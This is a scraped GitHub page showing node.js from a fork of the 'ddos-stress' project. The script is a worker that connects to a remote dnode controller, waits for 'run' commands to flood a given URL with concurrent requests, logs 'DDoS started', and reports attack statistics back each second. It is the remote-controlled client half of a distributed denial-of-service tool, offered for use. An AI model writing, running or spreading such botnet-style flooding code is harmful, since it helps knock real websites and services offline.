forked from mlazarov/ddos-stress
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathnode.js
62 lines (51 loc) · 1.19 KB
/
node.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env node
/*
* DDoS Stress
* https://github.com/mlazarov/ddos-stress
*
* Copyright (c) 2015, Martin Lazarov
* Licensed under the MIT license.
*/
/**
* Module dependencies.
*/
var dnode = require('dnode'),
stress = require('./'),
config = require('./etc/config'),
ddos = new stress();
/**
* Connect to the dnode Server
*/
var d = dnode({
run: function (url, concurent){
ddos.runningState = true;
ddos.resetStats();
ddos.run(url,concurent);
console.log('DDoS started');
},
stop: function (){
console.log("Terminating DDoS");
ddos.runningState = false;
}
}).connect(config.server,config.port, function(remote,conn){
console.log('=> We are connected to the server! Sending ping...');
function reqStats(){
if(ddos.runningState){
remote.stats(ddos.stats);
}
stats = setTimeout(reqStats,1000);
}
var stats = setTimeout(reqStats,1000);
});
/**
* Catch errors
*/
d.on('error', function(err){
console.log(err.toString());
});
d.on('fail', function(err){
console.log(err);
});
d.on('end', function(err){
console.log("=> Connection to the server closed");
});